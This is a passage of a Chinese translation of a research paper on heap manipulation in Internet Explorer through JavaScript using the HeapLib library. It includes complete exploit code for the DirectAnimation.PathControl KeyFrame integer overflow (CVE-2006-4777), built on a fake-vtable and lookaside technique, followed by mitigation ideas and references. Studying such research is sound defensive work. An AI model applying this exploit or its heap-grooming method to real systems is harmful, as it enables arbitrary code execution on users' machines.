      · count - how many blocks to add to the lookaside (defaults to 1)

      Example:

      heap.lookaside("BBBBB", 5) // puts 5 blocks containing the

                                 // string "BBBBB" on the lookaside

      lookasideAddr()

      Return the address of the head of the lookaside linked list for blocks of a specified size. Uses the heapBase parameter from the heapLib. ie constructor.

      Arguments:

      · arg - size of the new block in bytes, or a string to strdup

      Example:

      heap.lookasideAddr("BBBBB") // returns 0x150718

      vtable(shellcode, jmpecx, size)

      Returns a fake vtable that contains shellcode. The caller should free the vtable to the lookaside and use the address of the lookaside head as an object pointer. When the vtable is used, the address of the object must be in eax and the pointer to the vtable must be in ecx. Any virtual function call through the vtable from ecx+8 to ecx+0x80 will result in shellcode execution. This function uses the heap.

      Arguments:

      · shellcode - shellcode string

      · jmpecx - address of a jmp ecx or equivalent instruction

      · size - size of the vtable to generate (defaults to 1008 bytes)

      Example:

      heap.vtable(shellcode, 0x4058b5) // generates a 1008 byte vtable

                                       // with pointers to shellcode

       

      使用HeapLib

      堆的碎片整理

      對(duì)于利用來(lái)說(shuō),堆碎片是一個(gè)嚴(yán)重的問(wèn)題。如果堆開(kāi)始是空的,堆分配器的決定允許我們計(jì)算來(lái)自指定順序分配的堆的狀態(tài)。很不幸,當(dāng)我們的利用執(zhí)行時(shí),我們不知道堆的狀態(tài),這使得堆分配器的行為不可預(yù)測(cè)。

      為了解決這個(gè)問(wèn)題,我們需要對(duì)堆進(jìn)行碎片整理。這可以通過(guò)分配大量我們的利用所用尺寸的塊實(shí)現(xiàn)。這些塊將填充堆上所有可能的洞,并確保后續(xù)的同樣大小塊的分配是從堆的最后開(kāi)始分配的。在這一點(diǎn)上,分配器的行為等同于開(kāi)始于一個(gè)空堆。

      以下代碼將使用0x2010字節(jié)的塊對(duì)堆進(jìn)行碎片整理。

      for (var i = 0; i < 1000; i++)

      heap.alloc(0x2010);

      把塊放在空表上

      假定我們有一塊代碼從堆上分配了一塊內(nèi)存,沒(méi)有初始化就使用該內(nèi)存。如果我們控制了堆中的數(shù)據(jù),我們將能夠利用這個(gè)漏洞。我們需要分配一個(gè)同樣大小的塊,使用我們的數(shù)據(jù)填充,然后釋放掉。下次分配這個(gè)尺寸將得到包含我們數(shù)據(jù)的塊。

      唯一的障礙是系統(tǒng)內(nèi)存分配器中的合并算法。如果我們正在釋放的塊緊靠著另一個(gè)空塊,它們將合并成一個(gè)更大的塊。下一次分配將不會(huì)得到包含我們數(shù)據(jù)的塊。為阻止這個(gè),我們需要分配三個(gè)同樣尺寸的塊,然后釋放掉中間的那個(gè)塊,提前對(duì)堆進(jìn)行碎片整理將保證三個(gè)塊是連續(xù)的,中間的塊不會(huì)合并。

      heap.alloc(0x2020);             // allocate three consecutive blocks

      heap.alloc(0x2020, "freeList");

      heap.alloc(0x2020);

       

      heap.free("freeList");          // free the middle block

      HeapLib庫(kù)提供了一個(gè)方便的函數(shù)來(lái)實(shí)現(xiàn)上面描述的技術(shù)。下面的例子展示了怎樣增加 0x2020 字節(jié)的塊到空表上。

      heap.freeList(0x2020);

      清空快表

      為了清空確定大小的快表,我們只需要分配足夠該大小的塊。通常,快表包含僅有的4個(gè)塊,但是我們已經(jīng)在Windows XP SP2看到了更多項(xiàng)的塊表。為了確保,我們分配100個(gè)塊。下列代碼展示了這個(gè):

      for (var i = 0; i < 100; i++)

          heap.alloc(0x100);

      釋放到快表

      一旦快表空了,任何正確尺寸的塊當(dāng)釋放掉都會(huì)放在快表上。

      // Empty the lookaside

      for (var i = 0; i < 100; i++)

          heap.alloc(0x100);

       

      // Allocate a block

      heap.alloc(0x100, "foo");

       

      // Free it to the lookaside

      heap.free("foo");

      HeapLib中的 lookaside()函數(shù)實(shí)現(xiàn)了這個(gè)技術(shù):

      // Empty the lookaside

      for (var i = 0; i < 100; i++)

          heap.alloc(0x100);

       

      // Add 3 blocks to the lookaside

      heap.lookaside(0x100);

      使用快表利用對(duì)象指針

      跟蹤當(dāng)一個(gè)塊放在快表上時(shí)會(huì)發(fā)生什么是很有意思的。讓我從一個(gè)空的快表開(kāi)始。如果堆的基地址是0x150000,對(duì)于大小是1008的塊的快表頭的地址是0x151e58。因?yàn)榭毂硎强盏?,這個(gè)位置將包含一個(gè)空指針。

      現(xiàn)在讓我們釋放掉一個(gè)1008字節(jié)的塊。在0x151e58處的快表頭將會(huì)指向它。該塊的前四個(gè)字節(jié)將會(huì)被覆寫成NULL,指示鏈表的結(jié)尾。內(nèi)存中的結(jié)構(gòu)看起來(lái)就像我們利用覆寫的對(duì)象指針?biāo)枰模?/span>

      object pointer   -->   lookaside     -->   freed block

                             (fake object)       (fake vtable)

       

      addr: xxxx             addr: 0x151e58      addr: yyyy

      data: 0x151e58         data: yyyy          data: +0 NULL

                                                       +4 function pointer

                                                       +8 function pointer

                                                       ...

      如果我們用0x151e58覆寫一個(gè)對(duì)象指針,釋放一個(gè) 1008字節(jié)的包含一個(gè)偽造虛表的塊,貫穿虛表的任何虛函數(shù)調(diào)用將跳到我們選擇的位置。偽造的虛表可以使用HeapLib庫(kù)中的vtable()函數(shù)創(chuàng)建,它把shellcode 字符串和jmp ecx跳板地址作為參數(shù),用下列數(shù)據(jù)分配了1008字節(jié)的塊。

       

      string length  jmp +124  addr of jmp ecx  sub [eax], al*2  shellcode   null terminator

      4 bytes         4 bytes    124 bytes         4 bytes           x bytes      2 bytes

       

      調(diào)用者應(yīng)釋放虛表到快表,用快表頭的地址覆寫對(duì)象指針。設(shè)置對(duì)象指針在eax,虛表地址在ecx,偽造的虛表設(shè)計(jì)用于利用虛函數(shù)調(diào)用。

      mov ecx, dword ptr [eax]    ; get the vtable address

      push eax                    ; pass C++ this pointer as the first argument

      call dword ptr [ecx+08h]    ; call the function at offset 0x8 in the vtable

      任何從ecx+8 ecx+0x80 的虛函數(shù)調(diào)用會(huì)導(dǎo)致調(diào)用jmp ecx 跳板。因?yàn)閑cx指向虛表,跳板將會(huì)跳回到內(nèi)存塊的開(kāi)頭。它的前四個(gè)字節(jié)包含了正在使用的字符串的長(zhǎng)度,但是當(dāng)它釋放到快表,它們被NULL覆寫(指示鏈表的結(jié)尾)。四個(gè)0字節(jié)作為兩個(gè)add[eax],al指令執(zhí)行。執(zhí)行流程到達(dá)jmp +124指令,該指令跳過(guò)函數(shù)指針,停到虛表中偏移132的兩個(gè)sub[eax],al指令。這兩個(gè)指令修復(fù)了前面sub指令破壞的內(nèi)存,最終shellcode執(zhí)行。(虛函數(shù)加快表攻擊)

      使用HeapLib利用堆漏洞

      DirectAnimation.PathControl KeyFrame漏洞

      作為我們的第一個(gè)例子,我們將使用DirectAnimation.PathControl ActiveX控件中的整數(shù)溢出漏洞 (CVE-2006-4777)。這個(gè)漏洞通過(guò)建立一個(gè)ActiveX對(duì)象,使用一個(gè)大于0x07ffffff的參數(shù)調(diào)用它的KeyFrame()方法觸發(fā)。

      KeyFrame方法在Microsoft DirectAnimation SDK中記錄如下:

      KeyFrame Method

      指定路徑上的X和Y坐標(biāo),每次到達(dá)每個(gè)點(diǎn)。第一個(gè)點(diǎn)定義了路徑的起始點(diǎn),只有當(dāng)路徑停止時(shí)該方法可以被使用或修改。

      語(yǔ)法:

      KeyFrameArray = Array( x1, y1, ..., xN, yN )

      TimeFrameArray = Array( time2 , ..., timeN )

      pathObj.KeyFrame( npoints, KeyFrameArray, TimeFrameArray )

           參數(shù):

           Npoints

           用于定義路徑的點(diǎn)的數(shù)目

      x1, y1,..., xN, yN

      路徑上識(shí)別點(diǎn)的x 和y坐標(biāo)集

      time2,..., timeN

      路徑從前一個(gè)點(diǎn)到達(dá)對(duì)應(yīng)點(diǎn)中每個(gè)點(diǎn)的所花費(fèi)的對(duì)應(yīng)時(shí)間

      KeyFrameArray

      包含x 和y坐標(biāo)定義的數(shù)組。

      TimeFrameArray

      包含定義路徑的兩個(gè)點(diǎn)之間的時(shí)間值的數(shù)組,路徑從 x1 和 y1 點(diǎn)開(kāi)始,通過(guò)xN 和 yN 點(diǎn)(路徑中最后的點(diǎn)集)。路徑從點(diǎn)x1 和 y1使用一個(gè)時(shí)間值0開(kāi)始。

      以下 JavaScript代碼會(huì)觸發(fā)漏洞:

      var target = new ActiveXObject("DirectAnimation.PathControl");

      target.KeyFrame(0x7fffffff, new Array(1), new Array(1));

      漏洞代碼

      漏洞位于DAXCTLE.OCXCPathCtl::KeyFrame 函數(shù)中。函數(shù)反匯編代碼如下所示:

      long __stdcall CPathCtl::KeyFrame(unsigned int npoints,

                                        struct tagVARIANT KeyFrameArray,

                                        struct tagVARIANT TimeFrameArray)

      {

          int err = 0;

          ...

       

          // The new operator is a wrapper around CMemManager::AllocBuffer. If the

          // size size is less than 0x2000, it allocates a block from a special

          // CMemManager heap, otherwise it is equivalent to:

          //

          // HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8

       

          buf_1                  = new((npoints*2) * 8);

          buf_2                  = new((npoints-1) * 8);

          KeyFrameArray.field_C  = new(npoints*4);

          TimeFrameArray.field_C = new(npoints*4);

       

          if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL ||

              TimeFrameArray.field_C == NULL)

          {

              err = E_OUTOFMEMORY;

              goto cleanup;

          }

       

          // We set an error and go to the cleanup code if the KeyFrameArray array

          // is smaller than npoints*2 or TimeFrameArray is smaller than npoints-1

       

          if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 ||

              TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0)

          {

              err = E_FAIL;

              goto cleanup;

          }

       

          ...

       

      cleanup:

          if (npoints > 0)

       

              // We iterate from 0 to npoints and call a virtual function on all

              // non-NULL elements of KeyFrameArray->field_C and TimeFrameArray->field_C

       

              for (i = 0; i < npoints; i++) {

                  if (KeyFrameArray.field_C[i] != NULL)

                      KeyFrameArray.field_C[i]->func_8();

       

                  if (TimeFrameArray.field_C[i] != NULL)

                      TimeFrameArray.field_C[i]->func_8();

              }

          }

       

          ...

       

          return err;

      }

       

      KeyFrame 函數(shù)用16、8、4乘以npoints參數(shù),分配了四個(gè)緩沖區(qū)。如果npoints 大于0x40000000,分配的大小將折回,函數(shù)將分配四個(gè)小的緩沖區(qū)。在我們的利用中,我們?cè)O(shè)置npoints 0x40000801,函數(shù)將分配0x8018、0x4008和兩個(gè)0x200c的緩沖區(qū)。我么想要最小的緩沖區(qū)大于0x2000字節(jié),因?yàn)楦〉姆峙鋪?lái)自CMemManager堆,而不是系統(tǒng)分配器。

      分配緩沖區(qū)之后,函數(shù)調(diào)用CSafeArrayOfDoublesAccessor::ToDoubleArray()初始化數(shù)組存取器對(duì)象。如果KeyFrameArray 的大小小于npoints,ToDoubleArray 將返回E_INVALIDARG。這種情況下執(zhí)行的清除代碼將會(huì)迭代兩個(gè)0x2004字節(jié)的緩沖區(qū),在緩沖區(qū)的每個(gè)非NULL元素上調(diào)用一個(gè)虛函數(shù)。

      這些緩沖區(qū)使用HEAP_ZERO_MEMORY標(biāo)志分配,只含有NULL指針。代碼將從0迭代至npoints 0x40000801),然而,將最終訪問(wèn)越過(guò)0x200c字節(jié)緩沖區(qū)末尾的數(shù)據(jù)。如果我們控制了KeyFrameArray.field_C緩沖區(qū)后面的第一個(gè)Dword,使它指向一個(gè)偽造的對(duì)象,該對(duì)象使用一個(gè)指針指向它的虛表中的shellcode 。對(duì)func_8() 的虛函數(shù)調(diào)用將執(zhí)行我們的shellcode 。

       

      利用

      要利用這個(gè)漏洞,我們需要控制 0x200c字節(jié)緩沖區(qū)后面的第一個(gè)四字節(jié)。首先,我們要使用大小為0x2010 字節(jié)的塊對(duì)堆進(jìn)行碎片整理(內(nèi)存分配器將對(duì)齊所有的尺寸到8,所以0x200c被對(duì)齊為0x2010)。然后我們分配兩個(gè)大小為0x2020字節(jié)的內(nèi)存塊,在偏移0x200c位置寫偽造的對(duì)象指針,然后把他們釋放到空表中。

      當(dāng)函數(shù)KeyFrame分配兩個(gè)0x200c字節(jié)緩沖區(qū)時(shí),內(nèi)存分配器將重用我們的0x2020字節(jié)塊,只在第一個(gè)0x200c字節(jié)用零填充。 KeyFrame函數(shù)末尾的Cleanup循環(huán)將到達(dá)偏移0x200c處的偽造對(duì)象指針,通過(guò)它的虛表調(diào)用調(diào)用一個(gè)函數(shù)。偽造的對(duì)象指針指向0x151e58,這個(gè)位置是大小為1008的塊的快表的頭。快表中唯一的項(xiàng)是我們的偽造虛表。

      調(diào)用虛函數(shù)的代碼是:

      .text:100071E4                 mov     eax, [eax]      ; object pointer

      .text:100071E6                 mov     ecx, [eax]      ; vtable

      .text:100071E8                 push    eax

      .text:100071E9                 call    dword ptr [ecx+8]

       

      虛函數(shù)調(diào)用通過(guò)ecx+8,然后執(zhí)行轉(zhuǎn)換到IEXPLORE.EXE中的jmp ecx跳板,跳板跳回到虛表的開(kāi)始,并執(zhí)行shellcode,要了解虛表更多的信息,參考前面部分。

      完整的利用代碼如下所示:

      // Create the ActiveX object

          var target = new ActiveXObject("DirectAnimation.PathControl");

       

          // Initialize the heap library

          var heap = new heapLib.ie();

       

          // int3 shellcode

          var shellcode = unescape("%uCCCC");

       

          // address of jmp ecx instruction in IEXPLORE.EXE

          var jmpecx = 0x4058b5;

       // Build a fake vtable with pointers to the shellcode

          var vtable = heap.vtable(shellcode, jmpecx);

      // Get the address of the lookaside that will point to the vtable

          var fakeObjPtr = heap.lookasideAddr(vtable);

       // Build the heap block with the fake object address

          //

          // len      padding         fake obj pointer  padding   null

          // 4 bytes  0x200C-4 bytes  4 bytes           14 bytes  2 bytes

       

      var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);

      heap.gc();

      heap.debugHeap(true);

       // Empty the lookaside

          heap.debug("Emptying the lookaside")

          for (var i = 0; i < 100; i++)

              heap.alloc(vtable)

      // Put the vtable on the lookaise

          heap.debug("Putting the vtable on the lookaside")

      heap.lookaside(vtable);

      // Defragment the heap

          heap.debug("Defragmenting the heap with blocks of size 0x2010")

          for (var i = 0; i < 100; i++)

              heap.alloc(0x2010)

       // Add the block with the fake object pointer to the free list

          heap.debug("Creating two holes of size 0x2020");

          heap.freeList(fakeObjChunk, 2);

       // Trigger the exploit

          target.KeyFrame(0x40000801, new Array(1), new Array(1));

       

          // Cleanup

          heap.debugHeap(false);

       

      補(bǔ)救

      文章的這個(gè)部分將簡(jiǎn)明地引入幾種思路來(lái)保護(hù)瀏覽器對(duì)抗上面介紹的攻擊利用技術(shù)。

        堆隔離

      保護(hù)瀏覽器堆最明顯,但是并不是完全有效的方法是使用專門的堆存儲(chǔ)JavaScript對(duì)象。這需要在OLEAUT32內(nèi)存分配器中有一個(gè)非常小的改變,將會(huì)使字符串分配技術(shù)完全失效。攻擊者仍舊能夠操作字符串堆的布局,但是不能直接控制MSHTML ActiveX對(duì)象使用的堆。

      如果這種保護(hù)機(jī)制在將來(lái)的windows發(fā)布中實(shí)現(xiàn),我們期望攻擊利用研究專注于通過(guò)指定的ActiveX 方法調(diào)用或DHTML操作控制ActiveX或者MSHTML堆的方法。

      在安全架構(gòu)方面,堆布局應(yīng)該被當(dāng)做一個(gè)第一級(jí)可利用的對(duì)象,類似于棧或堆數(shù)據(jù)。作為一個(gè)通用的原則,不信任的代碼不應(yīng)該給予直接訪問(wèn)其他應(yīng)用程序組件使用的堆的權(quán)限。

      Non-determinism

      向內(nèi)存分配器引入non-determinism是一個(gè)使堆攻擊利用變得更加不可靠的好方法。如果攻擊者不能預(yù)測(cè)一個(gè)特別的堆分配在哪里進(jìn)行,那么在想要的狀態(tài)下建立堆將變得更加困難。這不是一個(gè)新的思路,但是據(jù)我們所知,這在任何一個(gè)主要的操作系統(tǒng)中還沒(méi)有實(shí)現(xiàn)。

      結(jié)論

      這篇文章講的堆操作技術(shù)依賴于IE中的JavaScript實(shí)現(xiàn)給予了瀏覽器中執(zhí)行的不信任代碼在系統(tǒng)堆上執(zhí)行任意分配和釋放的能力。這種對(duì)堆的控制程度已經(jīng)被證明可以極大的提高甚至最困難的堆破壞攻擊利用的可靠性和精確度。

      兩種可能的將來(lái)研究途徑是Windows Vista攻擊利用和在Firefox、OperaSafari上使用同樣的技術(shù)。我們相信用腳本語(yǔ)言操作堆的通用思路同樣適用于許多其它允許不信任腳本執(zhí)行的系統(tǒng)。

      書目

        堆內(nèi)部原理

      · Windows Vista Heap Management Enhancements by Adrian Marinescu

      堆攻擊利用

      · Third Generation Exploitation by Halvar Flake

      · Windows Heap Overflows by David Litchfield

      · XP SP2 Heap Exploitation by Matt Conover

      · Bypassing Windows heap protections by Nicolas Falliere

      · Defeating Microsoft Windows XP SP2 Heap Protection and DEP bypass by Alexander Anisimov

      · Exploiting Freelist[0] on XP SP2 by Brett Moore

      JavaScript內(nèi)部原理

      · How Do The Script Garbage Collectors Work? by Eric Lippert

      Internet Explorer 攻擊利用

      · Internet Explorer IFRAMG exploit by SkyLined

      · ie_webview_setslice exploit

       


        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多